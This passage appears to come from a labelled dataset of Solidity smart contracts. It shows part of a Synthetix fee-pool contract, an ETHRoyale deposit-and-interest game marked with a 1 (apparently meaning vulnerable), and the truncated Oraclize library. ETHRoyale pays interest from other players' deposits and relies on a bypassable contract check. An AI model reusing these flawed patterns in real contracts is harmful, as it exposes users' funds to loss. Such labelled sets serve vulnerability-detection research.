require(_feePeriodDuration <= MAX_FEE_PERIOD_DURATION, "New fee period cannot be greater than maximum fee period duration");
feePeriodDuration = _feePeriodDuration;
emitFeePeriodDurationUpdated(_feePeriodDuration);
}
function setSynthetix(Synthetix _synthetix)
external
optionalProxy_onlyOwner
{
require(address(_synthetix) != address(0), "New Synthetix must be non-zero");
synthetix = _synthetix;
emitSynthetixUpdated(_synthetix);
}
function feePaid(bytes4 currencyKey, uint amount)
external
onlySynthetix
{
uint xdrAmount = synthetix.effectiveValue(currencyKey, amount, "XDR");
recentFeePeriods[0].feesToDistribute = recentFeePeriods[0].feesToDistribute.add(xdrAmount);
}
function closeCurrentFeePeriod()
external
onlyFeeAuthority
{
require(recentFeePeriods[0].startTime <= (now - feePeriodDuration), "It is too early to close the current fee period");
FeePeriod memory secondLastFeePeriod = recentFeePeriods[FEE_PERIOD_LENGTH - 2];
FeePeriod memory lastFeePeriod = recentFeePeriods[FEE_PERIOD_LENGTH - 1];
recentFeePeriods[FEE_PERIOD_LENGTH - 2].feesToDistribute = lastFeePeriod.feesToDistribute
.sub(lastFeePeriod.feesClaimed)
.add(secondLastFeePeriod.feesToDistribute);
for (uint i = FEE_PERIOD_LENGTH - 2; i < FEE_PERIOD_LENGTH; i--) {
uint next = i + 1;
recentFeePeriods[next].feePeriodId = recentFeePeriods[i].feePeriodId;
recentFeePeriods[next].startingDebtIndex = recentFeePeriods[i].startingDebtIndex;
recentFeePeriods[next].startTime = recentFeePeriods[i].startTime;
recentFeePeriods[next].feesToDistribute = recentFeePeriods[i].feesToDistribute;
recentFeePeriods[next].feesClaimed = recentFeePeriods[i].feesClaimed;
}
delete recentFeePeriods[0];
recentFeePeriods[0].feePeriodId = nextFeePeriodId;
recentFeePeriods[0].startingDebtIndex = synthetix.synthetixState().debtLedgerLength();
recentFeePeriods[0].startTime = now;
nextFeePeriodId = nextFeePeriodId.add(1);
emitFeePeriodClosed(recentFeePeriods[1].feePeriodId);
}
function claimFees(bytes4 currencyKey)
external
optionalProxy
returns (bool)
{
uint availableFees = feesAvailable(messageSender, "XDR");
require(availableFees > 0, "No fees available for period, or fees already claimed");
lastFeeWithdrawal[messageSender] = recentFeePeriods[1].feePeriodId;
_recordFeePayment(availableFees);
_payFees(messageSender, availableFees, currencyKey);
emitFeesClaimed(messageSender, availableFees);
return true;
}
function _recordFeePayment(uint xdrAmount)
internal
{
uint remainingToAllocate = xdrAmount;
for (uint i = FEE_PERIOD_LENGTH - 1; i < FEE_PERIOD_LENGTH; i--) {
uint delta = recentFeePeriods[i].feesToDistribute.sub(recentFeePeriods[i].feesClaimed);
if (delta > 0) {
uint amountInPeriod = delta < remainingToAllocate ? delta : remainingToAllocate;
recentFeePeriods[i].feesClaimed = recentFeePeriods[i].feesClaimed.add(amountInPeriod);
remainingToAllocate = remainingToAllocate.sub(amountInPeriod);
if (remainingToAllocate == 0) return;
}
}
assert(remainingToAllocate == 0);
}
function _payFees(address account, uint xdrAmount, bytes4 destinationCurrencyKey)
internal
notFeeAddress(account)
{
require(account != address(0), "Account can't be 0");
require(account != address(this), "Can't send fees to fee pool");
require(account != address(proxy), "Can't send fees to proxy");
require(account != address(synthetix), "Can't send fees to synthetix");
Synth xdrSynth = synthetix.synths("XDR");
Synth destinationSynth = synthetix.synths(destinationCurrencyKey);
xdrSynth.burn(FEE_ADDRESS, xdrAmount);
uint destinationAmount = synthetix.effectiveValue("XDR", xdrAmount, destinationCurrencyKey);
destinationSynth.issue(account, destinationAmount);
destinationSynth.triggerTokenFallbackIfNeeded(FEE_ADDRESS, account, destinationAmount);
}
function transferFeeIncurred(uint value)
public
view
returns (uint)
{
return value.multiplyDecimal(transferFeeRate);
}
function transferredAmountToReceive(uint value)
external
view
returns (uint)
{
return value.add(transferFeeIncurred(value));
}
function amountReceivedFromTransfer(uint value)
external
view
returns (uint)
{
return value.divideDecimal(transferFeeRate.add(SafeDecimalMath.unit()));
}
function exchangeFeeIncurred(uint value)
public
view
returns (uint)
{
return value.multiplyDecimal(exchangeFeeRate);
}
function exchangedAmountToReceive(uint value)
external
view
returns (uint)
{
return value.add(exchangeFeeIncurred(value));
}
function amountReceivedFromExchange(uint value)
external
view
returns (uint)
{
return value.divideDecimal(exchangeFeeRate.add(SafeDecimalMath.unit()));
}
function totalFeesAvailable(bytes4 currencyKey)
external
view
returns (uint)
{
uint totalFees = 0;
for (uint i = 1; i < FEE_PERIOD_LENGTH; i++) {
totalFees = totalFees.add(recentFeePeriods[i].feesToDistribute);
totalFees = totalFees.sub(recentFeePeriods[i].feesClaimed);
}
return synthetix.effectiveValue("XDR", totalFees, currencyKey);
}
function feesAvailable(address account, bytes4 currencyKey)
public
view
returns (uint)
{
uint[FEE_PERIOD_LENGTH] memory userFees = feesByPeriod(account);
uint totalFees = 0;
for (uint i = 1; i < FEE_PERIOD_LENGTH; i++) {
totalFees = totalFees.add(userFees[i]);
}
return synthetix.effectiveValue("XDR", totalFees, currencyKey);
}
function currentPenalty(address account)
public
view
returns (uint)
{
uint ratio = synthetix.collateralisationRatio(account);
if (ratio <= TWENTY_PERCENT) {
return 0;
} else if (ratio > TWENTY_PERCENT && ratio <= THIRTY_PERCENT) {
return TWENTY_FIVE_PERCENT;
} else if (ratio > THIRTY_PERCENT && ratio <= FOURTY_PERCENT) {
return FIFTY_PERCENT;
}
return SEVENTY_FIVE_PERCENT;
}
function feesByPeriod(address account)
public
view
returns (uint[FEE_PERIOD_LENGTH])
{
uint[FEE_PERIOD_LENGTH] memory result;
uint initialDebtOwnership;
uint debtEntryIndex;
(initialDebtOwnership, debtEntryIndex) = synthetix.synthetixState().issuanceData(account);
if (initialDebtOwnership == 0) return result;
uint totalSynths = synthetix.totalIssuedSynths("XDR");
if (totalSynths == 0) return result;
uint debtBalance = synthetix.debtBalanceOf(account, "XDR");
uint userOwnershipPercentage = debtBalance.divideDecimal(totalSynths);
uint penalty = currentPenalty(account);
for (uint i = 0; i < FEE_PERIOD_LENGTH; i++) {
if (recentFeePeriods[i].startingDebtIndex > debtEntryIndex &&
lastFeeWithdrawal[account] < recentFeePeriods[i].feePeriodId) {
uint feesFromPeriodWithoutPenalty = recentFeePeriods[i].feesToDistribute
.multiplyDecimal(userOwnershipPercentage);
uint penaltyFromPeriod = feesFromPeriodWithoutPenalty.multiplyDecimal(penalty);
uint feesFromPeriod = feesFromPeriodWithoutPenalty.sub(penaltyFromPeriod);
result[i] = feesFromPeriod;
}
}
return result;
}
modifier onlyFeeAuthority
{
require(msg.sender == feeAuthority, "Only the fee authority can perform this action");
_;
}
modifier onlySynthetix
{
require(msg.sender == address(synthetix), "Only the synthetix contract can perform this action");
_;
}
modifier notFeeAddress(address account) {
require(account != FEE_ADDRESS, "Fee address not allowed");
_;
}
event TransferFeeUpdated(uint newFeeRate);
bytes32 constant TRANSFERFEEUPDATED_SIG = keccak256("TransferFeeUpdated(uint256)");
function emitTransferFeeUpdated(uint newFeeRate) internal {
proxy._emit(abi.encode(newFeeRate), 1, TRANSFERFEEUPDATED_SIG, 0, 0, 0);
}
event ExchangeFeeUpdated(uint newFeeRate);
bytes32 constant EXCHANGEFEEUPDATED_SIG = keccak256("ExchangeFeeUpdated(uint256)");
function emitExchangeFeeUpdated(uint newFeeRate) internal {
proxy._emit(abi.encode(newFeeRate), 1, EXCHANGEFEEUPDATED_SIG, 0, 0, 0);
}
event FeePeriodDurationUpdated(uint newFeePeriodDuration);
bytes32 constant FEEPERIODDURATIONUPDATED_SIG = keccak256("FeePeriodDurationUpdated(uint256)");
function emitFeePeriodDurationUpdated(uint newFeePeriodDuration) internal {
proxy._emit(abi.encode(newFeePeriodDuration), 1, FEEPERIODDURATIONUPDATED_SIG, 0, 0, 0);
}
event FeeAuthorityUpdated(address newFeeAuthority);
bytes32 constant FEEAUTHORITYUPDATED_SIG = keccak256("FeeAuthorityUpdated(address)");
function emitFeeAuthorityUpdated(address newFeeAuthority) internal {
proxy._emit(abi.encode(newFeeAuthority), 1, FEEAUTHORITYUPDATED_SIG, 0, 0, 0);
}
event FeePeriodClosed(uint feePeriodId);
bytes32 constant FEEPERIODCLOSED_SIG = keccak256("FeePeriodClosed(uint256)");
function emitFeePeriodClosed(uint feePeriodId) internal {
proxy._emit(abi.encode(feePeriodId), 1, FEEPERIODCLOSED_SIG, 0, 0, 0);
}
event FeesClaimed(address account, uint xdrAmount);
bytes32 constant FEESCLAIMED_SIG = keccak256("FeesClaimed(address,uint256)");
function emitFeesClaimed(address account, uint xdrAmount) internal {
proxy._emit(abi.encode(account, xdrAmount), 1, FEESCLAIMED_SIG, 0, 0, 0);
}
event SynthetixUpdated(address newSynthetix);
bytes32 constant SYNTHETIXUPDATED_SIG = keccak256("SynthetixUpdated(address)");
function emitSynthetixUpdated(address newSynthetix) internal {
proxy._emit(abi.encode(newSynthetix), 1, SYNTHETIXUPDATED_SIG, 0, 0, 0);
}
} | 0 | 962 |
pragma solidity ^0.4.19;
contract ETHRoyale {
address devAccount = 0x50334D202f61F80384C065BE6537DD3d609FF9Ab;
uint masterBalance;
uint masterApparentBalance;
address[] public participants;
mapping (address => uint) participantsArrayLocation;
uint participantsCount;
bool isDisabled;
bool hasStarted;
uint blockHeightStart;
bool isStart;
event Deposit(uint _valu);
mapping (address => uint) accountBalance;
mapping (address => uint) realAccountBalance;
mapping (address => uint) depositBlockheight;
function checkAccBalance() public view returns (uint) {
address _owner = msg.sender;
return (accountBalance[_owner]);
}
function checkGlobalBalance() public view returns (uint) {
return masterBalance;
}
function checkGameStatus() public view returns (bool) {
return (isStart);
}
function checkDisabledStatus() public view returns (bool) {
return (isDisabled);
}
function checkInterest() public view returns (uint) {
address _owner = msg.sender;
uint _interest;
if (isStart) {
if (blockHeightStart > depositBlockheight[_owner]) {
_interest = ((accountBalance[_owner] * (block.number - blockHeightStart) / 2000));
} else {
_interest = ((accountBalance[_owner] * (block.number - depositBlockheight[_owner]) / 2000));
}
return _interest;
}else {
return 0;
}
}
function checkWithdrawalAmount() public view returns (uint) {
address _owner = msg.sender;
uint _interest;
if (isStart) {
if (blockHeightStart > depositBlockheight[_owner]) {
_interest = ((accountBalance[_owner] * (block.number - blockHeightStart) / 2000));
} else {
_interest = ((accountBalance[_owner] * (block.number - depositBlockheight[_owner]) / 2000));
}
return (accountBalance[_owner] + _interest);
} else {
return accountBalance[_owner];
}
}
function numberParticipants() public view returns (uint) {
return participantsCount;
}
function deposit() payable public {
address _owner = msg.sender;
uint _amt = msg.value;
require (!isDisabled && _amt >= 10000000000000000 && isNotContract(_owner));
if (accountBalance[_owner] == 0) {
participants.push(_owner);
participantsArrayLocation[_owner] = participants.length - 1;
depositBlockheight[_owner] = block.number;
participantsCount++;
if (participantsCount > 4) {
isStart = true;
blockHeightStart = block.number;
hasStarted = true;
}
}
else {
isStart = false;
blockHeightStart = 0;
}
Deposit(_amt);
accountBalance[_owner] += _amt;
realAccountBalance[_owner] += _amt;
masterBalance += _amt;
masterApparentBalance += _amt;
}
function collectInterest(address _owner) internal {
require (isStart);
uint blockHeight;
if (depositBlockheight[_owner] < blockHeightStart) {
blockHeight = blockHeightStart;
}
else {
blockHeight = depositBlockheight[_owner];
}
uint _tempInterest = accountBalance[_owner] * (block.number - blockHeight) / 2000;
accountBalance[_owner] += _tempInterest;
masterApparentBalance += _tempInterest;
depositBlockheight[_owner] = block.number;
}
function withdraw(uint _amount) public {
address _owner = msg.sender;
uint _amt = _amount;
uint _devFee;
require (accountBalance[_owner] > 0 && _amt > 0 && isNotContract(_owner));
if (isStart) {
collectInterest(msg.sender);
}
require (_amt <= accountBalance[_owner]);
if (accountBalance[_owner] == _amount || accountBalance[_owner] - _amount < 10000000000000000) {
_amt = accountBalance[_owner];
if (_amt > masterBalance) {
_amt = masterBalance;
}
_devFee = _amt / 133;
_amt -= _devFee;
masterApparentBalance -= _devFee;
masterBalance -= _devFee;
accountBalance[_owner] -= _devFee;
masterBalance -= _amt;
masterApparentBalance -= _amt;
delete accountBalance[_owner];
delete depositBlockheight[_owner];
delete participants[participantsArrayLocation[_owner]];
delete participantsArrayLocation[_owner];
delete realAccountBalance[_owner];
participantsCount--;
if (participantsCount < 5) {
isStart = false;
if (participantsCount < 3 && hasStarted) {
isDisabled = true;
}
if (participantsCount == 0) {
isDisabled = false;
hasStarted = false;
}
}
}
else if (accountBalance[_owner] > _amount){
if (_amt > masterBalance) {
_amt = masterBalance;
}
_devFee = _amt / 133;
_amt -= _devFee;
masterApparentBalance -= _devFee;
masterBalance -= _devFee;
accountBalance[_owner] -= _devFee;
accountBalance[_owner] -= _amt;
realAccountBalance[_owner] -= _amt;
masterBalance -= _amt;
masterApparentBalance -= _amt;
}
Deposit(_amt);
devAccount.transfer(_devFee);
_owner.transfer(_amt);
}
function isNotContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return (!(size > 0));
}
} | 1 | 5,012 |
pragma solidity 0.4.25;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
library Buffer {
struct buffer {
bytes buf;
uint capacity;
}
function init(buffer memory buf, uint _capacity) internal pure {
uint capacity = _capacity;
if(capacity % 32 != 0) capacity += 32 - (capacity % 32);
buf.capacity = capacity;
assembly {
let ptr := mload(0x40)
mstore(buf, ptr)
mstore(ptr, 0)
mstore(0x40, add(ptr, capacity))
}
}
function resize(buffer memory buf, uint capacity) private pure {
bytes memory oldbuf = buf.buf;
init(buf, capacity);
append(buf, oldbuf);
}
function max(uint a, uint b) private pure returns(uint) {
if(a > b) {
return a;
}
return b;
}
function append(buffer memory buf, bytes data) internal pure returns(buffer memory) {
if(data.length + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, data.length) * 2);
}
uint dest;
uint src;
uint len = data.length;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, buflen), 32)
mstore(bufptr, add(buflen, mload(data)))
src := add(data, 32)
}
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function append(buffer memory buf, uint8 data) internal pure {
if(buf.buf.length + 1 > buf.capacity) {
resize(buf, buf.capacity * 2);
}
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), 32)
mstore8(dest, data)
mstore(bufptr, add(buflen, 1))
}
}
function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) {
if(len + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, len) * 2);
}
uint mask = 256 ** len - 1;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
mstore(bufptr, add(buflen, len))
}
return buf;
}
}
library CBOR {
using Buffer for Buffer.buffer;
uint8 private constant MAJOR_TYPE_INT = 0;
uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1;
uint8 private constant MAJOR_TYPE_BYTES = 2;
uint8 private constant MAJOR_TYPE_STRING = 3;
uint8 private constant MAJOR_TYPE_ARRAY = 4;
uint8 private constant MAJOR_TYPE_MAP = 5;
uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7;
function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private pure {
if(value <= 23) {
buf.append(uint8((major << 5) | value));
} else if(value <= 0xFF) {
buf.append(uint8((major << 5) | 24));
buf.appendInt(value, 1);
} else if(value <= 0xFFFF) {
buf.append(uint8((major << 5) | 25));
buf.appendInt(value, 2);
} else if(value <= 0xFFFFFFFF) {
buf.append(uint8((major << 5) | 26));
buf.appendInt(value, 4);
} else if(value <= 0xFFFFFFFFFFFFFFFF) {
buf.append(uint8((major << 5) | 27));
buf.appendInt(value, 8);
}
}
function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private pure {
buf.append(uint8((major << 5) | 31));
}
function encodeUInt(Buffer.buffer memory buf, uint value) internal pure {
encodeType(buf, MAJOR_TYPE_INT, value);
}
function encodeInt(Buffer.buffer memory buf, int value) internal pure {
if(value >= 0) {
encodeType(buf, MAJOR_TYPE_INT, uint(value));
} else {
encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value));
}
}
function encodeBytes(Buffer.buffer memory buf, bytes value) internal pure {
encodeType(buf, MAJOR_TYPE_BYTES, value.length);
buf.append(value);
}
function encodeString(Buffer.buffer memory buf, string value) internal pure {
encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length);
buf.append(bytes(value));
}
function startArray(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY);
}
function startMap(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP);
}
function endSequence(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE);
}
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Android = 0x40;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
oraclize = OraclizeI(0);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
